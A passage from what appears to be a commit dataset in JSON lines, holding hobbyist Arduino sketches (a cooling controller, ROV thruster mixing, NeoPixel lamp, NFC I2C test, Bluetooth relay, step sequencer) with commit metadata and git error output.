&& canCool) {\n \/\/ If you just started cooling, write down time\n if (!beenCooling) {\n\tcoolingStarted = currentMillis;\n }\n\n \/\/ Check whether you have been cooling for to long\n if (currentMillis - coolingStarted > maxCoolingPeriod) {\n\t\/\/ The following will trigger to go into noon cooling state\n\t\/\/ in the next iteration of the main loop\n\tinCooldownPeriod = HIGH;\n\tcooldownPeriodStart = currentMillis;\n }\n \n digitalWrite(compressorPin, HIGH);\n\n \/\/ Fire started if at the beginning of cooling\n if (coolingStarted - currentMillis < starterPeriod) {\n\tdigitalWrite(starterPin, HIGH);\n }\n else {\n\tdigitalWrite(starterPin, LOW);\n }\n beenCooling = HIGH;\n }\n else {\n \/\/ If you just came here from cooling state\n \/\/ Trigger grace period or cooldown period\n if (beenCooling) {\n\tif (inCooldownPeriod) {\n\t \/\/ Nothing all set in previous loop\n\t}\n\telse if (errorDetected) {\n\t \/\/ Nothing all set\n\t}\n\telse {\n\t gracePeriodStart = currentMillis;\n\t inGracePeriod = HIGH;\n\t}\n\tmaxStarterMeasurement = 0;\n }\n digitalWrite(compressorPin, LOW);\n digitalWrite(starterPin, LOW);\n beenCooling = LOW;\n }\n\n \/\/ Write to display\n \/\/ First row\n lcd.setCursor(0,0);\n if (beenCooling) {\n lcd.print(\"ON\");\n }\n else {\n lcd.print(\" \");\n }\n \n lcd.setCursor(3, 0);\n lcd.print(\"S\");\n writeNumber(setPoint, 4, 0);\n\n lcd.setCursor(10, 0);\n lcd.print(\"T\");\n writeNumber(temperature, 11, 0);\n \/\/ Serial.print(temperature);\n \/\/ Serial.print(\"\\n\");\n\n \/\/ Second row\n \/\/ Flush scond row\n lcd.setCursor(0,1);\n lcd.print(\" \");\n lcd.setCursor(0,1);\n if (beenCooling) {\n if (starting) {\n\tlcd.print(\"Starting \");\n\tlcd.print(maxStarterMeasurement);\n }\n else{\n\tlcd.print(\"Cooling ah\");\n\tlcd.print(starterMeasurement);\n\t\/\/writeCountdown((currentMillis - coolingStarted)\/1000, 5, 11, 1);\n }\n }\n else {\n if (inGracePeriod) {\n\tlcd.print(\"Cannot cool\");\n\twriteCountdown((gracePeriodStart + gracePeriod - \\\n\t\t\tcurrentMillis) \/ 1000, 5, 11, 1);\n }\n else if (inCooldownPeriod)\n {\n\tlcd.print(\"Too hot ah\");\n\twriteCountdown((cooldownPeriodStart + cooldownPeriod - \\\n\t\t\tcurrentMillis) \/ 1000, 5, 11, 1);\n }\n else if (errorDetected) {\n\tlcd.print(\"Retreat!Retreat!\");\n }\n else {\n\tlcd.print(\"Cool enough alr!\");\n }\n }\n previousMillis = currentMillis;\n\n } \/\/ End main loop if\n}\n\n","old_contents":"","returncode":128,"stderr":"fatal: invalid reference: FETCH_HEAD^\n","license":"mit","lang":"Arduino"} {"commit":"bb94088d5119e6574f69f1a744d0da768c7bec55","subject":"Added Motor Code","message":"Added Motor Code\n\n3 axis multi-axis support\nnote: joysticks are meant to be mounted at 45 degree angle in control\nbox\n","repos":"SeaSweepersROV\/SeaSweepers2017,SeaSweepersROV\/SeaSweepers2017","old_file":"Motors_Prototype\/Motors_Prototype.ino","new_file":"Motors_Prototype\/Motors_Prototype.ino","new_contents":"\/*\n Receiving Motor Code\n Attempt 1 of mutliaxis support in order to make JP happy\n\n Written for the Sea Sweepers ROV Club\n Michael Georgariou 2016\n*\/\n\n#include <Servo.h>\nServo H1;\nServo H2;\nServo H3;\nServo H4;\nServo V1;\nServo V2;\nServo V3;\nServo V4;\n\nint Joystick1A; \/\/vertical\n int 1AMap;\nint Joystick1B;\n int 1BMap;\nint Joystick1C;\n int 1CMap;\nint Joystick2A; \/\/horizontal\n int 2AMap;\nint Joystick2B;\n int 2BMap;\nint Joystick2C;\n int 2CMap;\n\nint Crab;\nint Pitch;\n\nvoid setup() {\n\n H1.attach(2); \/\/ left front\n H2.attach(3); \/\/ right front\n H3.attach(4); \/\/ right back\n H4.attach(5); \/\/ left back\n V1.attach(6);\n V2.attach(7);\n V3.attach(8);\n V4.attach(9);\n}\n\nvoid loop() {\n 1AMap = map(Joystick1A, 0, 1023, 1100, 1900);\n 1BMap = map(Joystick1B, 0, 1023, 1100, 1900);\n 1CMap = map(Joystick1C, 0, 1023, 1100, 1900); \n 2AMap = map(Joystick2A, 0, 1023, 1100, 1900);\n 2BMap = map(Joystick2B, 0, 1023, 1100, 1900);\n 2CMap = map(Joystick2C, 0, 1023, 1100, 1900);\n\n\n if ((2CMap < 1600) && (2CMap > 1400)) { \/\/if 2CMap is neutral\n H2.write(2AMap);\n H3.write(2AMap);\n H1.write(2BMap);\n H4.write(2BMap);\n }\n \n if (2CMap > 1600) {\n Crab = map(2CMap, 1600, 1900, 0, 400);\n if ((2AMap - Crab) > 1100){\n H2.write(2AMap + Crab);\n H3.write(2AMap + Crab);\n }\n else {\n H2.write(2AMap);\n H3.write(2AMap);\n }\n if ((2BMap + Crab) < 1900) {\n H1.write(2BMap - Crab);\n H4.write(2BMap - Crab);\n }\n else {\n H1.write(2BMap);\n H4.write(2BMap);\n }\n }\n \n if (2CMap < 1400) {\n Crab = map(2CMap, 1400, 1100, 0, 400);\n if ((2AMap - Crab) > 1100){\n H2.write(2AMap - Crab);\n H3.write(2AMap - Crab);\n }\n else {\n H2.write(2AMap);\n H3.write(2AMap);\n }\n if ((2BMap + Crab) < 1900) {\n H1.write(2BMap + Crab);\n H4.write(2BMap + Crab);\n }\n else {\n H1.write(2BMap);\n H4.write(2BMap);\n }\n }\n \n \n if ((1CMap < 1600) && (1CMap > 1400)) { \/\/if 2CMap is neutral\n V2.write(1AMap);\n V3.write(1AMap);\n V1.write(1BMap);\n V4.write(1BMap);\n }\n if (1CMap > 1600) {\n Pitch = map(1CMap, 1600, 1900, 0, 400);\n if ((2AMap + Pitch) < 1900){\n H1.write(2AMap + Pitch);\n H2.write(2AMap + Pitch);\n }\n else {\n H1.write(2AMap);\n H2.write(2AMap);\n }\n if ((2BMap - Pitch) > 1100) {\n H3.write(2BMap - Pitch);\n H4.write(2BMap - Pitch);\n }\n else {\n H3.write(2BMap);\n H4.write(2BMap);\n }\n }\n \n if (2CMap < 1400) {\n Pitch = map(2CMap, 1400, 1100, 0, 400);\n if ((2AMap - Pitch) > 1100){\n H1.write(2AMap - Pitch);\n H2.write(2AMap - Pitch);\n }\n else {\n H1.write(2AMap);\n H2.write(2AMap);\n }\n if ((2BMap + Pitch) < 1900) {\n H3.write(2BMap + Pitch);\n H4.write(2BMap + Pitch);\n }\n else {\n H3.write(2BMap);\n H4.write(2BMap);\n }\n }\n}\n \n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Motors_Prototype\/Motors_Prototype.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"0f5221e4533f0f323050840c46e6ef2229bb6102","subject":"Base code","message":"Base code\n\nUses simple random number to randomly fade the colour red in and out. Need to compartmentalize the mechanism into a function and add green and blue.","repos":"directive0\/SaltLamp","old_file":"sketch.ino","new_file":"sketch.ino","new_contents":"\/\/ Salt Lamp neopixel lights random colour crossfade\n\/\/ By Chris Barrett - Polaris Interplanetary - Special Projects Division\n\n#include <Adafruit_NeoPixel.h>\n#include <avr\/power.h>\n\n\/\/ Which pin on the Arduino is connected to the NeoPixels?\n\/\/ On a Trinket or Gemma we suggest changing this to 1\n#define PIN 6\n\n\/\/ How many NeoPixels are attached to the Arduino?\n#define NUMPIXELS 133\n#define LOWPIXELS 87\n\n\/\/ When we setup the NeoPixel library, we tell it how many pixels, and which pin to use to send signals.\n\/\/ Note that for older NeoPixel strips you might need to change the third parameter--see the strandtest\n\/\/ example for more information on possible values.\nAdafruit_NeoPixel pixels = Adafruit_NeoPixel(NUMPIXELS, PIN, NEO_GRB + NEO_KHZ800);\n\nint delayval = 500; \/\/ delay for half a second\nint potVal = 9; \/\/integer to store the value from the potentiometer\nint potPin = 2; \/\/integer to store the potentiometer pin\nint rcount; \/\/ Counter for red\nint gcount; \/\/ Counter for green\nint bcount; \/\/ Counter for blue\nint rval; \/\/int stores red brightness\nint gval; \/\/int stores green brightness\nint bval; \/\/int stores blue brightness\nint rgo; \/\/ red go int, 0 for off, 1 for upwards, 2 for downwards\nint ggo; \/\/ green go int, 0 for off, 1 for upwards, 2 for downwards\nint bgo; \/\/ blue go int, 0 for off, 1 for upwards, 2 for downwards\nint magicnumber; \/\/ magic number determines when to fire colours\n\nvoid setup() {\n\nSerial.begin(9600); \n pixels.begin(); \/\/ This initializes the NeoPixel library.\n}\n\nvoid loop() { \n\nmagicnumber = random(0,3); \/\/creates a magic number\n\nif (magicnumber == 1 && rgo == 0){ \/\/checks to see if magic number has selected red and red is not currently firing\n rgo = 1; \/\/sets the red go bit to 1 meaning positive alternation\n}\n\nif (magicnumber == 2 && ggo == 0){ \/\/checks to see if magic number has selected green\n ggo = 1;\n}\n\nif (magicnumber == 1 && bgo == 0){ \/\/checks to see if magic number has selected blue\n bgo = 1; \n}\n \nif (rgo == 1){ \/\/checks for ascent stage bit, adds one to red brightness \n rval = rval + 1;\n}\n\nif (rgo == 2){\n rval = rval - 1;\n}\n\nif (rval >= 255){\n rgo == 2;\n}\n\nif (rval == 0 && rgo == 2){\n rgo = 0;\n rval = 0;\n}\n\npotVal = analogRead(potPin); \/\/determine delay\npotVal = map(potVal, 0, 1024, 0, 500);\n\n\nfor(int i=LOWPIXELS;i<NUMPIXELS;i++){\n pixels.setPixelColor(i, pixels.Color(rval,bval,gval));\n}\n\n \npixels.show(); \/\/ This sends the updated pixel color to the hardware.\n\nSerial.println(rval);\n\n \ndelay(potVal);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'sketch.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"3cabb7be175dbb8493706ba074b6122833daec31","subject":"MQ7 rewritten, interrupt only, 4s interval","message":"MQ7 rewritten, interrupt only, 4s interval\n\nsee worklong in Google Drive for details\n","repos":"alaviali\/OBI,alaviali\/OBI","old_file":"Individual sensor rewritten\/MQ7.ino","new_file":"Individual sensor rewritten\/MQ7.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Individual' did not match any file(s) known to git\nerror: pathspec 'sensor' did not match any file(s) known to git\nerror: pathspec 'rewritten\/MQ7.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"60cf6c436590de714cf196c4997da05c6d62823a","subject":"Fixed encoder demo index functionality. Needs its own interrupt.","message":"Fixed encoder demo index functionality. Needs its own interrupt.\n","repos":"MarsRobotics\/Experiments,MarsRobotics\/Experiments,MarsRobotics\/Experiments,MarsRobotics\/Experiments","old_file":"Encoder Demo\/EncoderDemo\/EncoderDemo.ino","new_file":"Encoder Demo\/EncoderDemo\/EncoderDemo.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Encoder' did not match any file(s) known to git\nerror: pathspec 'Demo\/EncoderDemo\/EncoderDemo.ino' did not match any file(s) known to git\n","license":"bsd-3-clause","lang":"Arduino"} {"commit":"af8197582abb5b6fdefe9aea4c405f0a5a6bdf5f","subject":"Create RedBear_Duo_BLE.ino","message":"Create RedBear_Duo_BLE.ino","repos":"JFLegros\/RedBear_Duo,JFLegros\/RedBear_Duo","old_file":"firmware\/examples\/01_Particle\/RedBear_Duo_BLE.ino","new_file":"firmware\/examples\/01_Particle\/RedBear_Duo_BLE.ino","new_contents":"\/**************************************************************\n * Blynk is a platform with iOS and Android apps to control\n * Arduino, Raspberry Pi and the likes over the Internet.\n * You can easily build graphic interfaces for all your\n * projects by simply dragging and dropping widgets.\n *\n * Downloads, docs, tutorials: http:\/\/www.blynk.cc\n * Blynk community: http:\/\/community.blynk.cc\n * Social networks: http:\/\/www.fb.com\/blynkapp\n * http:\/\/twitter.com\/blynk_app\n *\n * Blynk library is licensed under MIT license\n * This example code is in public domain.\n *\n **************************************************************\n *\n * This example shows how to use RedBear Duo BLE\n * to connect your project to Blynk.\n *\n * NOTE: BLE support is in beta!\n *\n **************************************************************\/\n\n#if defined(ARDUINO)\n SYSTEM_MODE(MANUAL); \/\/ If Arduino - do not connect to Particle cloud\n#else\n SYSTEM_MODE(AUTOMATIC); \/\/ Otherwise, connect to Particle cloud\n#endif\n\n\/\/#define BLYNK_DEBUG\n#define BLYNK_PRINT Serial\n\n\/\/#define BLYNK_USE_DIRECT_CONNECT\n\n#include <BlynkSimpleRedBear_Duo_BLE.h>\n\n\/\/ You should get Auth Token in the Blynk App.\n\/\/ Go to the Project Settings (nut icon).\nchar auth[] = \"YourAuthToken\";\n\nvoid setup() {\n Serial.begin(9600);\n delay(5000);\n\n Blynk.begin(auth);\n\n Serial.println(\"Waiting for connections...\");\n}\n\nvoid loop() {\n Blynk.run();\n}\n\n\/\/ Next functions are optional.\n\/\/ Add ZeRGBa Widget on V0 to control onboard LED.\nBLYNK_CONNECTED() {\n RGB.control(true);\n}\n\nBLYNK_WRITE(V0) {\n int r = param[0].asInt();\n int g = param[1].asInt();\n int b = param[2].asInt();\n RGB.color(r, g, b);\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'firmware\/examples\/01_Particle\/RedBear_Duo_BLE.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"cf6c66a01e55f7ae2585ccd62822fa9a1bd86c9e","subject":"Arduino - LED brightness.","message":"Arduino - LED brightness.\n","repos":"lpodkalicki\/blog,lpodkalicki\/blog,lpodkalicki\/blog,lpodkalicki\/blog,lpodkalicki\/blog,lpodkalicki\/blog","old_file":"arduino\/006_led_brightness\/006_led_brightness.ino","new_file":"arduino\/006_led_brightness\/006_led_brightness.ino","new_contents":"\/**\n * Copyright (c) 2020, \u0141ukasz Marcin Podkalicki <lpodkalicki@gmail.com>\n * Arduino\/006\n * Blinking LED with BasicLED class.\n *\/\n\n#include <stdint.h>\n\n\/**\n * The instance of this class can control single LED.\n * - on, off, toggle (any digital pin)\n * - brightness (only PWM pins; i.e. for Arduino Uno: 3, 5, 6, 9, 10, 11)\n *\/\nclass BasicLed {\npublic:\n BasicLed(uint8_t pin): pin_(pin) {\n pinMode(pin, OUTPUT); \n }\n \/**\n * Light the LED up\n *\/\n void on(void) {\n digitalWrite(pin_, HIGH);\n }\n \/**\n * Turn the LED off\n *\/\n void off(void) {\n digitalWrite(pin_, LOW);\n }\n \/**\n * Toogle LED on\/off\n *\/\n void toggle(void) {\n digitalWrite(pin_, !digitalRead(pin_));\n }\n \/**\n * Set LED brightness from range <0, 255>\n *\/\n void setBrightness(uint8_t value) {\n analogWrite(pin_, value);\n }\nprivate:\n uint8_t pin_;\n}; \/* End of class BasicLed *\/\n\nBasicLed led(11);\n\nvoid setup() {\n \/\/ do nothing\n}\n\nvoid loop() {\n led.setBrightness(10); \/\/ 10\/255 ~= 4%\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino\/006_led_brightness\/006_led_brightness.ino' did not match any file(s) known to git\n","license":"bsd-3-clause","lang":"Arduino"} {"commit":"ddde3b0ac59f936d0d866786ff75137dac1c239a","subject":"4D display working","message":"4D display working\n","repos":"roboter\/Lunohod","old_file":"4DSystemDispalyBare\/4DSystemDispalyBare.ino","new_file":"4DSystemDispalyBare\/4DSystemDispalyBare.ino","new_contents":"#define DisplaySerial Serial\n\n#include \"Picaso_Serial_4DLib.h\"\n#include \"BigDemo.h\" \n#include \"Picaso_Const4D.h\"\n\nvoid setup()\n{\n pinMode(13,OUTPUT);\n pinMode(RESETLINE, OUTPUT); \/\/ Set D4 on Arduino to Output (4D Arduino Adaptor V2 - Display Reset)\n digitalWrite(RESETLINE, 1); \/\/ Reset the Display via D4\n delay(100);\n digitalWrite(RESETLINE, 0); \/\/ unReset the Display via D4\n delay(5000);\n DisplaySerial.begin(9600) ;\n Display.TimeLimit4D = 5000 ; \/\/ 5 second timeout on all commands\n Display.gfx_Cls() ;\n Display.putstr(\"Lunokhod loading...\") ;\n}\n\nvoid loop()\n{\n \n\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec '4DSystemDispalyBare\/4DSystemDispalyBare.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"c6e7bb1a2bd734c21340679342395e6ecca680ad","subject":"Create ArduinoButtonServer.ino","message":"Create ArduinoButtonServer.ino","repos":"womei\/PartyButtonFunTimes","old_file":"ArduinoButtonServer.ino","new_file":"ArduinoButtonServer.ino","new_contents":"\/\/ This sends the state of a button, connected between the pin and GROUND to the serial connection\n\/\/ set pin numbers:\nconst int buttonPin = 2; \/\/ the number of the pushbutton pin\n\/\/ variables will change:\nint buttonState = 0; \/\/ variable for reading the pushbutton status\nboolean firstPushed = true;\n\nvoid setup() {\n pinMode(buttonPin, INPUT_PULLUP);\n Serial.begin(57600);\n}\n\nvoid loop(){\n \/\/ read the state of the pushbutton value:\n buttonState = digitalRead(buttonPin);\n \/\/ check if the pushbutton is pressed.\n \/\/ if the button is not pushed the state is 'HIGH', it's more stable I guess.... pullup something\n if (buttonState == HIGH) { \n Serial.println(\"1\");\n firstPushed = true;\n } \n else {\n \/\/ turn LED off:\n if(firstPushed){\n Serial.println(\"2\");\n firstPushed = false;\n }\n else{\n Serial.println(\"3\");\n }\n \n }\n\n}\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'ArduinoButtonServer.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"ab38779f5b66455f9d08009c642a3de92a063b17","subject":"Minor fixes","message":"Minor fixes\n","repos":"opentrv\/OTRadioLink,DamonHD\/OTRadioLink,DamonHD\/OTRadioLink,Denzo77\/OTRadioLink,Denzo77\/OTRadioLink,Denzo77\/OTRadioLink,opentrv\/OTRadioLink,DamonHD\/OTRadioLink,Denzo77\/OTRadioLink,DamonHD\/OTRadioLink,opentrv\/OTRadioLink,opentrv\/OTRadioLink","old_file":"dev\/test\/DS18B20Timing\/DS18B20Timing.ino","new_file":"dev\/test\/DS18B20Timing\/DS18B20Timing.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/Denzo77\/OTRadioLink.git\/'\n","license":"apache-2.0","lang":"Arduino"} {"commit":"6e8ae77ed50f3024530cde827b51b114faf1ce7f","subject":"Started to create a version for testing on Gemma.","message":"Started to create a version for testing on Gemma.\n","repos":"whaleygeek\/pi_m24sr,whaleygeek\/pi_m24sr,whaleygeek\/pi_m24sr,whaleygeek\/pi_m24sr","old_file":"arduino_proto\/NFC_gemma\/NFC_gemma.ino","new_file":"arduino_proto\/NFC_gemma\/NFC_gemma.ino","new_contents":"\/* NFC.ino 02\/04\/2015 D.J.Whale\n *\n * Please note: This program is a hardware test program only.\n * It was written under extreme time pressure, and should only\n * be used as a reference that defines a set of sequences that\n * are known to work with the boards listed below. It is not\n * in any way a representation of good programming practice...\n * ... that takes more than a couple of hours to achieve.\n *\n * Test program for Arduino Uno to read a URI NDEF record from M24SR.\n * Wire up a X-NUCLEO-NFC01A1 to the SCL\/SCA pins.\n * Download this program and run it.\n * On the serial monitor, you should see a series of trace messages\n * for each step, plus the URL near the end that is read back from the\n * NDEF record.\n * If you get loads of 00 or FF data back, you probably don't have\n * 4.7K pullup resistors on both of SCL and SDA.\n *\/\n \n\/\/Modified for testing on Gemma.\n \n\/\/#include <Wire.h>\n#include <TinyWireM.h>\n#define Wire TinyWireM\n\n\/\/ LEDs on X-NUCLEO board\n\/\/#define LED1 5\n\/\/#define LED2 4\n\/\/#define LED3 2\n\n\/\/ LEDs on Gemma\n#define LED 1\n\n\/\/ LED is used to put a capture region around the NDEF read, so that\n\/\/ a scope or logic analyser can easily find the frames of interest\n\/\/ by triggering on rising-high of that pin.\n#define CAPTURE LED\n\n#define NFC_ADDR_7BIT 0x56\n\nvoid setup() \n{ \n pinMode(LED, OUTPUT); \n \/\/pinMode(LED2, OUTPUT); \n \/\/pinMode(LED3, OUTPUT); \n Wire.begin();\n \/\/Serial.begin(9600);\n}\n\nbyte selectI2C[] = {0x52};\nbyte selectNFCApp[] = {0x02,0x00,0xA4,0x04,0x00,0x07,0xD2,0x76,0x00,0x00,0x85,0x01,0x01,0x00,0x35,0xC0};\nbyte selectCCFile[] = {0x03,0x00,0xA4,0x00,0x0C,0x02,0xE1,0x03,0xD2,0xAF};\nbyte readCCLen[] = {0x02,0x00,0xB0,0x00,0x00,0x02,0x6B,0x7D};\nbyte readCCFile[] = {0x03,0x00,0xB0,0x00,0x00,0x0F,0xA5,0xA2};\nbyte selectNDEFFile[] = {0x02,0x00,0xA4,0x00,0x0C,0x02,0x00,0x01,0x3E,0xFD};\nbyte readNDEFLen[] = {0x03,0x00,0xB0,0x00,0x00,0x02,0x40,0x79};\nbyte readNDEFMsg[] = {0x02,0x00,0xB0,0x00,0x02,0x0C,0xA5,0xA7};\nbyte deselectI2C[] = {0xC2,0xE0,0xB4};\n\n\/\/ The delays are required, to allow the M24SR time to process commands.\n\nvoid loop()\n{\n \/\/Serial.println(\"\\nstarting\");\n \/\/digitalWrite(LED1, HIGH);\n\n \/\/ kill RF, select I2C\n \/\/Serial.println(\"selectI2C\");\n digitalWrite(CAPTURE, HIGH);\n Wire.beginTransmission(NFC_ADDR_7BIT);\n Wire.write(selectI2C, sizeof(selectI2C));\n Wire.endTransmission();\n digitalWrite(CAPTURE, LOW);\n delay(1);\n \n \/\/select NFC app\n \/\/Serial.println(\"selectNFCApp\");\n \/\/Wire.beginTransmission(NFC_ADDR_7BIT);\n \/\/Wire.write(selectNFCApp, sizeof(selectNFCApp));\n \/\/Wire.endTransmission();\n \/\/delay(1);\n \/\/readAndDisplay(5);\n \n \n \/\/select CC file\n \/\/Serial.println(\"selectCCFile\");\n \/\/Wire.beginTransmission(NFC_ADDR_7BIT);\n \/\/Wire.write(selectCCFile, sizeof(selectCCFile));\n \/\/Wire.endTransmission();\n \/\/delay(1);\n \/\/readAndDisplay(5);\n\n \/\/readCCLen\n \/\/Serial.println(\"readCCLen\");\n \/\/Wire.beginTransmission(NFC_ADDR_7BIT);\n \/\/Wire.write(readCCLen, sizeof(readCCLen));\n \/\/Wire.endTransmission();\n \/\/delay(1);\n \/\/readAndDisplay(7);\n\n \/\/int len=20; \/\/TODO get from above payload, not overly critical\n\n \/\/readCCFile\n \/\/Serial.println(\"readCCFile\");\n \/\/Wire.beginTransmission(NFC_ADDR_7BIT);\n \/\/Wire.write(readCCFile, sizeof(readCCFile));\n \/\/Wire.endTransmission();\n \/\/delay(1);\n \/\/readAndDisplay(len);\n \n \n \/\/selectNDEFFile\n \/\/Serial.println(\"selectNDEFFile\");\n \/\/Wire.beginTransmission(NFC_ADDR_7BIT);\n \/\/Wire.write(selectNDEFFile, sizeof(selectNDEFFile));\n \/\/Wire.endTransmission();\n \/\/delay(1);\n \/\/readAndDisplay(5);\n \n \n \/\/readNDEFLen\n \/\/Serial.println(\"readNDEFLen\");\n \/\/digitalWrite(CAPTURE, HIGH); \/\/ so we can capture on logic analyser\n \/\/Wire.beginTransmission(NFC_ADDR_7BIT);\n \/\/Wire.write(readNDEFLen, sizeof(readNDEFLen));\n \/\/Wire.endTransmission();\n \/\/delay(1);\n \n \/\/Wire.requestFrom(NFC_ADDR_7BIT, 7);\n \/\/int idx = 0;\n \/\/while (Wire.available())\n \/\/{\n \/\/ byte b = Wire.read();\n \/\/ \/\/Serial.print(b, HEX);\n \/\/ \/\/Serial.write(' ');\n \/\/ if (idx == 2) \/\/ TODO max len is 255?\n \/\/ {\n \/\/ len = b;\n \/\/ }\n \/\/ idx++;\n \/\/}\n \/\/Serial.println();\n\n\n \/\/readNDEFMsg\n \/\/len = full NDEF length, (5 byte prefix+actual URI)\n \/\/Serial.println(\"readNDEFMsg\");\n \/\/Wire.beginTransmission(NFC_ADDR_7BIT);\n \/\/ Patch in the length and fix the broken CRC\n \/\/readNDEFMsg[5] = len; \/\/ this is the len returned from ReadNDEFLen\n \/\/ComputeCrc(readNDEFMsg, sizeof(readNDEFMsg)-2, &(readNDEFMsg[6]), &(readNDEFMsg[7]));\n \/\/Wire.write(readNDEFMsg, sizeof(readNDEFMsg));\n \/\/Wire.endTransmission();\n \/\/delay(1);\n\n\/\/ (PCB,SW1,SW2,CRC0,CRC1)\n\/\/#define PROTO_OVERHEAD 5\n\/\/ 5 bytes for NDEF header (in URI format)\n\/\/#define HEADER_LEN 5\n\n \/\/int msgStart = 1 + HEADER_LEN;\n \/\/int msgEnd = 1 + HEADER_LEN + (len-HEADER_LEN);\n \n \/\/Wire.requestFrom(NFC_ADDR_7BIT, len+PROTO_OVERHEAD);\n \/\/idx = 0;\n \/\/while (Wire.available())\n \/\/{\n \/\/ byte b = Wire.read();\n \/\/ if (idx >= msgStart && idx <= msgEnd)\n \/\/ {\n \/\/ \/\/Serial.write(b);\n \/\/ }\n \/\/ idx++;\n \/\/}\n \/\/Serial.println(); \n \/\/readAndDisplay(len+PROTO_OVERHEAD);\n \n \/\/digitalWrite(CAPTURE, LOW); \/\/ marks end of capture region for logic analyser\n\n\n \/\/deselectI2C\n \/\/Serial.println(\"deselectI2C\");\n \/\/Wire.beginTransmission(NFC_ADDR_7BIT);\n \/\/Wire.write(deselectI2C, sizeof(deselectI2C));\n \/\/Wire.endTransmission();\n \/\/delay(1);\n \/\/readAndDisplay(3); \n \n \/\/digitalWrite(LED1, LOW);\n \/\/delay(1000);\n}\n\n\n\/\/void readAndDisplay(int len)\n\/\/{\n\/\/ Wire.requestFrom(NFC_ADDR_7BIT, len);\n\/\/ while (Wire.available())\n\/\/ {\n\/\/ Serial.print(Wire.read(), HEX);\n\/\/ Serial.write(' ');\n\/\/ }\n\/\/ Serial.println();\n\/\/}\n\n\nword UpdateCrc(byte data, word *pwCrc)\n{\n data = (data^(byte)((*pwCrc) & 0x00FF));\n data = (data^(data << 4));\n *pwCrc = (*pwCrc >> 8) \n ^ ((word)data << 8) \n ^ ((word)data << 3) \n ^ ((word)data >> 4);\n return *pwCrc;\n}\n\n\nword ComputeCrc(byte *data, unsigned int len, byte *crc0, byte *crc1)\n{\n byte bBlock;\n word wCrc;\n\n wCrc = 0x6363;\n\n do\n {\n bBlock = *data++;\n UpdateCrc(bBlock, &wCrc);\n }\n while (--len);\n\n *crc0 = (byte) (wCrc & 0xFF);\n *crc1 = (byte) ((wCrc >> 8) & 0xFF);\n return wCrc;\n}\n\n\/* END OF FILE *\/\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino_proto\/NFC_gemma\/NFC_gemma.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"7fcf73a205a11c11ab65d0965799dbb28aad5fff","subject":"First pass: set pins to a known state and let human decide if tests pass\/fail.","message":"First pass: set pins to a known state and let human decide if tests pass\/fail.\n","repos":"2manyprojects2littletime\/arduino-testbed","old_file":"human-readable_testbed\/human-readable_testbed.ino","new_file":"human-readable_testbed\/human-readable_testbed.ino","new_contents":"void func*[] tests;\n\nvoid setup () {\n \/\/ init pins\n \n \/\/ register tests\n \n}\n\nvoid smokeTest() {\n \n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'human-readable_testbed\/human-readable_testbed.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"01f76c23a67787ace99e6de8864e38688db41189","subject":"Add chap7 - bt_relay code","message":"Add chap7 - bt_relay code\n","repos":"godstale\/How-to-make-talking-things","old_file":"chap7\/Arduino\/bt_relay\/bt_relay.ino","new_file":"chap7\/Arduino\/bt_relay\/bt_relay.ino","new_contents":"#include <SoftwareSerial.h>\n\nSoftwareSerial BTSerial(2, 3); \/\/Connect HC-06. Use your (TX, RX) settings\n\nvoid setup() \n{\n Serial.begin(9600);\n Serial.println(\"Hello!\");\n\n BTSerial.begin(9600); \/\/ set the data rate for the BT port\n}\n\nvoid loop()\n{\n \/\/ BT \u2013> Data \u2013> Serial\n if (BTSerial.available()) {\n Serial.write(BTSerial.read());\n }\n \/\/ Serial \u2013> Data \u2013> BT\n if (Serial.available()) {\n BTSerial.write(Serial.read());\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'chap7\/Arduino\/bt_relay\/bt_relay.ino' did not match any file(s) known to git\n","license":"lgpl-2.1","lang":"Arduino"} {"commit":"7519d327f7c22fab8ec5c03aed006f6adf4742ae","subject":"String-messages to step sequencer","message":"String-messages to step sequencer\n","repos":"transfluxus\/Twitter-Orchestra","old_file":"msgSeq\/msgSeq.ino","new_file":"msgSeq\/msgSeq.ino","new_contents":"#include <Process.h>\n\n\nString instruments[] = {\"PS\", \"BD\", \"SD\",\"KI\",\"SN\",\"CR\"};\n\/\/PS: play sample, BD: bass drum, SD: snare, KI: kick,SN: snare, CR: crash\nconst int numIns = 6;\nbyte patterns[numIns-1];\n\/\/ length\nconst int patternL = 8;\n\nconst unsigned long MINUTE = 60000;\nint bpm = 120;\n\/\/ nextBeat\nunsigned long nextB;\n\/\/ time increase\nint nextBInc;\n\/\/ pos in the sequence\nint pos;\n\/\/ sequence-bits\nint bs[] = {1, 2, 4, 8, 16, 32, 64, 128, 256};\n\nconst String sampleFolder = \"\/mnt\/twitterOrchestra\/samples\/\";\n\nvoid setup() {\n Bridge.begin();\n Serial.begin(9600);\n while (!Serial);\n String msg = \"#BD 10001000\";\n parseMessage(msg);\n String msg2 = \"#SD 01010101\";\n parseMessage(msg2);\n String msg3 = \"#KI 10001010\";\n parseMessage(msg3);\n String msg4 = \"#CR 01000000\";\n parseMessage(msg4);\n\n nextBInc = MINUTE \/ bpm;\n}\n\nvoid loop() {\n unsigned long time = millis();\n if (time > nextB) {\n nextB 